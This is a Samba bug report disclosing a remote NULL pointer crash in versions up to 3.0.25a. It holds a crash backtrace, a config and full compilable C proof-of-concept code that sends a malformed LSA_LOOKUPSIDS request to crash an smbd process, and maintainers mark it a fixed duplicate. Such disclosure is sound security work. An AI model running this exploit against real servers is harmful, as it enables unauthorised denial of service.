Description ----------- The samba 3.x tree, versions below and equal to 3.0.25a, suffer from a NULL pointer reference in the lsa_io_trans_names() code. The fault is the result of a logical error where certain functions assume that the arguments passed to them are not NULL. After a client has successfully initiated a TCP/IP connection to the samba server, he can afterwards connect to the IPC$ service and request a named pipe. In our example we request \PIPE\lsarpc. The function api_pipe_request(), whose code lies somewhere in rpc_server/srv_pipe.c, is responsible for calling the correct RPC function for a given command on the pipe. When the client issues an LSA_LOOKUPSIDS command given a NULL translated names pointer to the server, he is able to crash the corresponding samba child. I do not consider this bug critical as it's just a NULL pointer reference. Next, I have created a backtrace which demonstrates how the fault is triggered. The actual backtrace reported by samba's fault mechanism is also given. api_pipe_request() \_ api_lsa_lookup_sids() \_ lsa_io_q_lookup_sids() | \_ lsa_io_trans_names() | The if() block checking the ptr_trans_names pointer fails | as we supply a NULL value. Certain pointers remain zeroed | and unallocated. Later functions assume that they are not | NULL. | \_ lsa_io_r_lookup_sids() \_ lsa_io_trans_names() The r_s->names pointer passed from lsa_io_r_lookup_sids() to lsa_io_trans_names() is NULL. The call to prs_uint32() in lsa_io_trans_names() will segfault the smbd child. Here is the backtrace reported by smbd in the log file. <-- snip --> [2007/05/28 22:35:53, 0] lib/fault.c:fault_report(41) =============================================================== [2007/05/28 22:35:53, 0] lib/fault.c:fault_report(42) INTERNAL ERROR: Signal 11 in pid 25013 (3.0.25a) Please read the Trouble-Shooting section of the Samba3-HOWTO [2007/05/28 22:35:53, 0] lib/fault.c:fault_report(44) From: http://www.samba.org/samba/docs/Samba3-HOWTO.pdf [2007/05/28 22:35:53, 0] lib/fault.c:fault_report(45) =============================================================== [2007/05/28 22:35:53, 0] lib/util.c:smb_panic(1632) PANIC (pid 25013): internal error [2007/05/28 22:35:53, 0] lib/util.c:log_stack_trace(1736) BACKTRACE: 19 stack frames: #0 smbd(log_stack_trace+0x2d) [0x801fb535] #1 smbd(smb_panic+0x74) [0x801fb65d] #2 smbd [0x801e7b79] #3 [0xb7fc0420] #4 smbd [0x8016cc2f] #5 smbd(lsa_io_r_lookup_sids+0xa8) [0x8016de12] #6 smbd [0x801036ed] #7 smbd(api_rpcTNP+0x292) [0x80163acb] #8 smbd(api_pipe_request+0x1f6) [0x80163fcd] #9 smbd [0x8015da76] #10 smbd(write_to_pipe+0x12d) [0x8015c0f0] #11 smbd [0x8005f62b] #12 smbd [0x8005fd2c] #13 smbd(reply_trans+0x6d6) [0x80060931] #14 smbd [0x800b5bc7] #15 smbd(smbd_process+0x8c1) [0x800b6e5f] #16 smbd(main+0xb97) [0x802aa7e4] #17 /lib/libc.so.6(__libc_start_main+0xd8) [0xb7e4c7c8] #18 smbd [0x80044331] [2007/05/28 22:35:53, 0] lib/fault.c:dump_core(181) dumping core in /usr/var/cores/smbd <-- snip --> The configuration file I used in order to trigger the fault is the least minimal samba configuration. <-- snip --> [global] workgroup = WORKGROUP netbios name = MYNAME log file = /var/log/messages [share1] path = /home/ckaramitas comment = Test share <-- snip --> Proof of concept code --------------------- <-- snip --> // SAMBA <= 3.0.25a REMOTE NULL POINTER REFERENCE - PROOF OF CONCEPT // Chariton Karamitas <ckaramitas [at] echothrust [dot] com> // // In order to trigger the bug I used the functions of the samba API. To compile the // code use the following script. // // <-- snip --> // #!/bin/bash // // # Path where the samba source is located e.g // # SOURCE=/home/ckaramitas/samba-3.0.25a/source // SOURCE= // // if [ -z "${SOURCE}" ]; then // echo Please give a proper value to SOURCE. // exit // fi // // gcc -D_SAMBA_BUILD_ -I ${SOURCE}/popt -I ${SOURCE}/iniparser/src -I ${SOURCE}/lib/replace \ // -I ${SOURCE}/lib/talloc -I ${SOURCE}/tdb/include -I ${SOURCE}/libaddns -I ${SOURCE}/librpc \ // -I ${SOURCE}/include -I ${SOURCE} \ // -lsmbclient samba_3.0.25a_null.c -o samba_3.0.25a_null // <-- snip --> // #include <config.h> #include <includes.h> // Lookup the IP address of a host. Return zero on failure. unsigned long int lookup_addr(unsigned char *host) { struct hostent *hip; if(!(hip = gethostbyname(host))) { herror("lookup_addr(): gethostbyname()"); return 0; } return *(unsigned long int *)hip->h_addr; } // Get a connection to the IPC$ share of a box. struct cli_state *ipc_connect(unsigned char *server, unsigned char *user, unsigned char *pass) { struct in_addr ip_addr; struct user_auth_info cred; struct cli_state *state; unsigned long int ip; // Sanity check. if(!server) return NULL; // Lookup the IP address. if(!(ip = lookup_addr(server))) return NULL; ip_addr.s_addr = ip; // Fill in the credentials. bzero(&cred, sizeof(struct user_auth_info)); cred.got_pass = False; cred.use_kerberos = False; cred.signing_state = Undefined; if(user) strncpy(cred.username, user, sizeof(cred.username) - 1); if(pass) { strncpy(cred.password, pass, sizeof(cred.password) - 1); cred.got_pass = True; } if(!(state = get_ipc_connect(server, &ip_addr, &cred))) return NULL; return state; } void print_usage(unsigned char *prog) { fprintf(stdout, "Usage: %s <host> [<user> [<pass>]]\n\n", prog); return; } int main(int argc, unsigned char *argv[]) { struct cli_state *state = NULL; struct rpc_pipe_client *hnd = NULL; POLICY_HND lsa_pol; DOM_SID sid; NTSTATUS error; unsigned char *user = NULL; unsigned char *pass = NULL; // Stuff returned and allocated by rpccli_lsa_lookup_sids(). char **domains = NULL; char **names = NULL; uint32 *types = NULL; if(argc < 2) { print_usage(argv[0]); return -1; } user = argc > 2 ? argv[2] : NULL; pass = argc > 3 ? argv[3] : NULL; load_case_tables(); setlinebuf(stdout); setup_logging(argv[0], True); lp_load(dyn_CONFIGFILE, True, False, False, True); load_interfaces(); fprintf(stdout, "USER=%s PASS=%s DOMAIN=%s\n", user ? user : "<none>", pass ? pass : "<none>", lp_workgroup()); fprintf(stdout, "[~] Connecting to IPC$\n"); if(!(state = ipc_connect(argv[1], argv[2], argv[3]))) return -1; fprintf(stdout, "OS=[%s] TYPE=[%s] DOMAIN=[%s]\n", state->server_os, state->server_type , state->server_domain); if(state->is_samba != True) { fprintf(stdout, "[~] Error\n"); cli_shutdown(state); return -1; } fprintf(stdout, "[~] Binding to \\PIPE\\lsarpc\n"); hnd = cli_rpc_pipe_open_noauth(state, PI_LSARPC, &error); if(!hnd || cli_is_error(state)) { fprintf(stdout, "%s\n", cli_errstr(state)); return -1; } fprintf(stdout, "[~] Opening LSA policy handler\n"); error = rpccli_lsa_open_policy(hnd, state->mem_ctx, True, SEC_RIGHTS_QUERY_VALUE, &lsa_pol); if(!NT_STATUS_IS_OK(error) || cli_is_error(state)) { fprintf(stdout, "%s\n", cli_errstr(state)); cli_shutdown(state); return -1; } fprintf(stdout, "[~] Sending LSA_LOOKUPSIDS\n"); // Just a test SID. if(!(string_to_sid(&sid, "S-1-5-21-484763869-1035525444-1801674531-500"))) { fprintf(stdout, "[~] Error\n"); cli_rpc_pipe_close(hnd); cli_shutdown(state); return -1; } // The call to rpccli_lsa_lookup_sids() produces an LSA_LOOKUPSIDS query with a NULL value // into the translated names pointer field of the SMB packet. rpccli_lsa_lookup_sids(hnd, state->mem_ctx, &lsa_pol, 1, &sid, &domains, &names, &types); cli_rpc_pipe_close(hnd); cli_shutdown(state); fprintf(stdout, "[~] Done\n"); return 0; } <-- snip -->
ok. Thanks for the report. I'll have a look at your code and the state of the current SVN tree.
This is a dup of #4683 which I've just fixed in all trees. Will be fixed for 3.0.25b. Jeremy. *** This bug has been marked as a duplicate of 4683 ***